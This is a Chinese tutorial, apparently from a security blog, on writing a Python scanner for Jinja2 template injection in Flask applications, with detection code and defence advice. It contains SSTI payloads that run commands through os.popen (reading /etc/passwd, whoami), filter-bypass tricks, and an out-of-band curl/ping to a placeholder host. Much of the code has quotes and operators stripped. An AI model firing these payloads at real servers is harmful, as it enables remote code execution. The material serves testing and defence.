1. 项目概述与核心价值最近在内部安全审计和众测项目中我频繁遇到基于Flask框架开发的Web应用。这类应用轻量、灵活但开发者如果对模板引擎的安全特性理解不深很容易埋下服务器端模板注入SSTI的隐患。手动测试SSTI费时费力尤其是面对大量参数和复杂应用时效率很低。因此我花时间写了一个Python脚本专门用于自动化探测Flask应用中Jinja2模板引擎的SSTI漏洞。这个脚本不是简单的Payload喷射器它集成了智能参数发现、上下文判断、Payload生成与结果验证旨在模拟一个初级安全研究员的手动测试逻辑提升漏洞挖掘的效率和深度。如果你正在学习Web安全、从事渗透测试或者是一名Flask开发者想自查应用风险这个工具和背后的思路会很有帮助。2. 漏洞原理与Flask/Jinja2背景解析2.1 为什么Flask应用容易产生SSTIFlask是一个微框架它的设计哲学是“微核心可扩展”。默认情况下它使用Jinja2作为模板引擎。开发者通过render_template_string()或不当使用render_template()时如果用户输入被直接拼接进模板字符串就会引发SSTI。关键在于Jinja2不仅仅是一个文本替换工具它拥有一个强大的沙盒执行环境支持执行有限的Python表达式和访问特定的对象属性。攻击者一旦控制了模板内容就可以利用这个特性从简单的信息泄露升级到远程命令执行RCE危害极大。2.2 Jinja2的模板语法与危险函数理解攻击的前提是理解Jinja2的语法。{{ ... }}用于输出表达式结果{% ... %}用于执行控制语句如循环、条件。危险往往源于一些内置的“魔术方法”和属性。例如所有Python对象都继承自基类object而Jinja2环境中可以通过__class__属性回溯到这个基类再通过__mro__方法解析顺序或__bases__找到其他类最终目标是找到可以执行代码的类如os._wrap_close、subprocess.Popen或者通过__globals__访问函数的全局变量字典从而引入os、sys等模块。注意不同版本的Python和Jinja2以及不同的沙盒配置可用的Payload会有所不同。我们的脚本需要具备一定的兼容性。2.3 自动化探测的核心挑战手动测试时我们会替换参数值为{{7*7}}然后观察返回页面是否出现49。自动化脚本需要解决几个问题如何发现所有可能的注入点不仅仅是GET/POST参数还包括Cookie、Headers甚至是JSON/XML格式的请求体。如何区分渲染成功与巧合返回页面包含“49”不一定就是SSTI可能是页面的固定文本。如何判断注入上下文并升级Payload确认存在注入后需要判断是否被过滤、沙盒限制并尝试构造更高级的Payload验证危害。如何保持隐蔽和稳定避免因Payload过于攻击性而触发WAF或导致应用崩溃。3. 脚本整体设计与模块拆解我的脚本设计遵循“侦察-探测-验证-报告”的流程。主要分为以下几个模块参数收集器Parameter Collector解析URL识别并提取所有可能的输入点。Payload生成器Payload Generator根据不同的测试阶段基础探测、上下文判断、命令执行生成相应的Payload。引擎与上下文判断器Engine Context Detector发送探测Payload根据响应特征判断是否使用Jinja2以及注入的上下文如是否在{{ }}内是否有过滤。漏洞验证器Exploit Verifier在确认存在注入后发送无害但可验证的指令如执行whoami或读取/etc/passwd的一行以确认漏洞的真实可利用性。报告生成器Report Generator将发现的问题以结构化的格式如JSON、HTML输出。3.1 工具选型与依赖库脚本基于Python 3.6主要依赖requests库处理HTTP请求colorama用于终端彩色输出可选argparse处理命令行参数。选择requests是因为它简单易用且功能强大足以处理大多数HTTP场景。我们没有选用异步库如aiohttp是为了保证代码的简洁性和更广泛的兼容性毕竟在单目标深度探测时并发并非首要需求。# 依赖安装 pip install requests colorama4. 核心代码实现与关键逻辑剖析4.1 参数收集器的实现这个模块的目标是尽可能全面地收集测试点。我们不仅要处理标准的?keyvalue还要处理RESTful风格的路径参数如/user/id以及POST请求中的表单数据和JSON。import urllib.parse from urllib.parse import urlparse, parse_qs def collect_parameters(target_url): 从目标URL中收集所有可能的参数。 返回一个字典键为参数名值为初始值通常为空或占位符。 parsed_url urlparse(target_url) params {} # 1. 处理查询字符串参数 (GET参数) query_params parse_qs(parsed_url.query) for key, value in query_params.items(): # parse_qs返回列表取第一个值作为初始值 params[fGET:{key}] value[0] if value else # 2. 处理POST数据这里需要外部提供本函数仅作结构示例 # 在实际脚本中POST数据可能通过另一个函数或交互式方式获取 # 3. 识别URL中的路径参数如 /user/123 - 可能有个参数叫 id # 这是一个启发式方法并非总是准确 path_parts parsed_url.path.strip(/).split(/) # 简单假设数字或特定格式的路径段可能是参数 for i, part in enumerate(path_parts): if part.isdigit() or (len(part) 8 and - in part): # 简单启发式规则 params[fPATH:{i}] part return params实操心得在实际测试中通过爬虫或代理日志获取到的请求参数会更准确。我们的脚本可以设计为接受一个Burp Suite的代理日志文件.xml或.json作为输入直接提取其中的请求参数这样覆盖面最广。4.2 智能Payload生成策略Payload不能是硬编码的列表而应该根据上下文动态生成。我设计了一个分层级的Payload体系第一层基础语法探测目的是触发最基本的模板渲染确认是否存在注入点。basic_payloads [ {{7*7}}, # 期望返回 49 {{7*7}}, # 期望返回 7777777 (Jinja2特性) ${7*7}, # 针对其他模板引擎如FreeMarker #{7*7}, # 针对其他模板引擎如Ruby ERB ${{7*7}}, # 一些混淆写法 ]第二层引擎指纹识别如果基础Payload成功我们需要确认是否是Jinja2。engine_payloads { jinja2: [ {{7*7}}, # 返回 7777777 {{request}}, # Flask中默认可访问的request对象 {{config}}, # 如果config可访问信息量巨大 {{.__class__}}, # 尝试访问魔术属性 ], twig: [{{7*7}}], # Twig也有类似语法但对象模型不同 # ... 其他引擎 }第三层上下文绕过与沙盒探测当确认是Jinja2后我们需要探测过滤规则和可用对象。bypass_payloads [ {{7*7}}, # 原始 {{7*7}}, # 大小写混淆 (Jinja2不敏感但WAF可能敏感) {{7*7}}, # 使用HTML实体编码 {{7*7}}, # 插入无关字符 {% raw %}...{% endraw %} (如果允许) {{self}}, # 尝试访问self对象 {{lipsum}}, # 测试是否启用了某些危险函数 ]第四层命令执行验证这是最后一步用于证明漏洞的危害性。必须使用无害命令避免对目标造成实际损害。rce_test_payloads [ # 尝试读取/etc/passwd的第一行 (Linux) {{ .__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__[os].popen(head -n1 /etc/passwd).read() }}, # 尝试执行whoami命令 {{ config.__class__.__init__.__globals__[os].popen(whoami).read() }}, ]重要安全警告在自动化测试中RCE验证Payload必须极其谨慎。我强烈建议使用“延迟验证”或“DNS外带”等无害方式。例如可以尝试触发一个到可控服务器的HTTP请求curl http://your-server.com/或者执行sleep 5通过响应时间判断。脚本中应默认禁用此阶段或需要用户显式确认。4.3 引擎与上下文判断逻辑这是脚本的“大脑”。它需要分析服务器对Payload的响应。import re def detect_injection(response_text, original_text, payload): 根据响应判断是否可能存在SSTI。 original_text: 原始请求的响应文本用于对比排除静态内容干扰。 # 1. 数学运算验证 if payload {{7*7}}: if 49 in response_text and 49 not in original_text: return True, Basic arithmetic injection detected (49). # 处理Jinja2将数字转为字符串的情况有时49会作为字符串的一部分出现 elif re.search(r[^0-9a-zA-Z]49[^0-9a-zA-Z], response_text) and not re.search(r[^0-9a-zA-Z]49[^0-9a-zA-Z], original_text): return True, Basic arithmetic injection detected (isolated 49). # 2. 字符串乘法验证 if payload {{7*7}}: if 7777777 in response_text and 7777777 not in original_text: return True, String repetition injection detected (Jinja2 specific). # 3. 对象访问验证 (更可靠) if payload {{.__class__}}: if class str in response_text or __class__ in response_text: # 需要进一步判断可能是错误信息也可能是成功回显 # 对比原始响应如果原始响应没有这些字符串则可能性大增 if (class str in response_text and class str not in original_text) or \ (__class__ in response_text and __class__ not in original_text): return True, Object attribute access detected. # 4. 响应时间延迟验证 (用于盲注) # 可以在发送Payload {{ .__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__[time].sleep(5) }} 后计算时间差 # 这部分逻辑需要在发送请求的函数中实现 return False, 4.4 主控流程与并发考虑脚本的主函数负责串联所有模块。为了提高效率在对单个目标的多个参数进行测试时可以采用线程池进行并发请求。但必须注意控制并发度避免对目标服务器造成拒绝服务DoS攻击。import concurrent.futures import requests import time def test_parameter(target_url, param_name, param_value, payload_list, delay0.5): 测试单个参数点 vulnerabilities [] session requests.Session() # 使用Session保持Cookie等状态 original_response session.get(target_url).text # 获取原始响应用于对比 for payload in payload_list: # 构造新的参数将原值替换为Payload # 这里需要根据参数类型GET, POST, PATH, HEADER分别处理 test_data {param_name: payload} # 简化示例 try: resp session.post(target_url, datatest_data, timeout10) is_injected, reason detect_injection(resp.text, original_response, payload) if is_injected: vulnerabilities.append((param_name, payload, reason)) print(f[] Found potential SSTI in {param_name} with payload: {payload}) print(f Reason: {reason}) # 发现一个后可以跳过该参数的其他基础Payload进入更深层测试 break except requests.exceptions.RequestException as e: print(f[-] Error testing {param_name} with {payload}: {e}) time.sleep(delay) # 请求间延迟避免触发速率限制 return vulnerabilities def main(target_url): params collect_parameters(target_url) all_vulns [] # 使用线程池最大并发数设为3较为温和 with concurrent.futures.ThreadPoolExecutor(max_workers3) as executor: future_to_param {} for param_name, orig_value in params.items(): future executor.submit(test_parameter, target_url, param_name, orig_value, basic_payloads) future_to_param[future] param_name for future in concurrent.futures.as_completed(future_to_param): param_name future_to_param[future] try: vulns future.result() all_vulns.extend(vulns) except Exception as exc: print(f{param_name} generated an exception: {exc}) return all_vulns5. 实战演练从发现到验证假设我们有一个测试目标http://testvuln.com/greet?nameVisitor。运行脚本python ssti_detector.py -u http://testvuln.com/greet参数收集脚本识别出GET参数name其值为Visitor。基础探测脚本将name的值替换为{{7*7}}并发起请求。假设服务器端代码为render_template_string(Hello, request.args.get(name))。响应分析服务器返回Hello, 49。脚本通过对比原始响应Hello, Visitor发现新增了49且该数字与Payload直接相关判定为潜在注入。引擎确认脚本接着发送{{7*7}}返回Hello, 7777777这强烈指向Jinja2引擎。深度探测脚本尝试{{.__class__}}返回Hello, class str确认可以访问Python对象属性漏洞确认。无害验证可选需手动开启脚本尝试一个无害的DNS外带Payload或执行sleep 2。例如使用一个构造的Payload尝试访问一个不存在的子域名并记录时间差或者通过{{.__class__.__mro__[1].__subclasses__()[XXX].__init__.__globals__[os].popen(ping -c 1 your-unique-subdomain.example.com).read()}}在你的DNS日志上查看是否有解析请求从而确认命令执行能力。6. 常见问题、绕过技巧与防御建议6.1 自动化探测中常见的问题误报页面本身包含“49”或“7777777”。解决方案是差分对比必须对比注入前后的响应并检查新增内容是否与Payload有直接逻辑关联。更可靠的是使用更独特的Payload如{{1337*1337}}然后检查1787569。盲注Blind SSTI注入成功但结果不直接显示在响应中。这时需要基于时间延迟sleep或外部网络交互DNS/HTTP请求的Payload。脚本需要支持测量响应时间或监听外带通道。WAF/过滤绕过常见的过滤包括黑名单关键字如__class__、os、eval、括号过滤等。绕过技巧包括字符串拼接{{[__class__]}}属性访问替代使用|attr()过滤器如{{|attr(__class__)}}编码/混淆使用Hex、Base64、Rot13等编码如果模板支持解码函数。利用未过滤的字符Jinja2中可以使用[]代替.进行属性访问如{{[__class__]}}。寻找替代对象链__class__被过滤可以尝试__mro__、__bases__、__subclasses__()等。6.2 给开发者的防御建议根本方法不要信任用户输入。永远不要将用户输入直接传递给模板渲染函数。错误示例render_template_string(Hello, username)正确做法使用模板的变量传递机制。# Flask视图函数 return render_template(greet.html, nameusername)!-- greet.html 模板 -- Hello, {{ name }}这样name变量在模板中只是一个待渲染的值而不是可执行的代码。严格沙盒配置对于必须使用render_template_string的场景可以创建自定义的Jinja2环境移除或重写危险的全局函数和过滤器。from jinja2 import Environment, BaseLoader class SandboxedEnvironment(Environment): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) # 移除危险的全局函数 self.globals.pop(__builtins__, None) # 可以添加自定义的安全全局变量 self.globals[safe_range] range输入验证与过滤对用户输入进行严格的类型检查和内容过滤但这不是银弹容易因过滤不全被绕过。使用更安全的模板引擎评估是否可以使用限制更多的模板引擎。安全扫描与代码审计将SSTI检测纳入CI/CD流程使用静态代码分析工具如Semgrep、Bandit和动态扫描工具如本脚本进行定期检查。6.3 脚本的局限性及扩展方向当前脚本是一个基础框架还有很大的增强空间智能Payload生成集成一个更大的Payload库并能根据WAF响应动态调整Payload。上下文感知自动识别参数是在HTML标签内、JavaScript内还是纯文本中从而生成更隐蔽的Payload。结果可信度评分为每个发现分配一个置信度分数减少误报。图形化报告生成更直观的HTML报告包含请求/响应详情、漏洞位置截图如果可能等。集成到扫描器作为插件集成到像Burp Suite、ZAP这样的专业安全工具中。编写这个脚本的过程也是我深入学习Flask和Jinja2安全特性的过程。自动化工具能提升效率但它不能完全替代安全研究员的思考和判断。理解漏洞原理才能写出有效的检测逻辑知道如何防御才能从根本上解决问题。希望这个分享和代码框架能为你自己的安全工具开发或应用安全加固提供一个扎实的起点。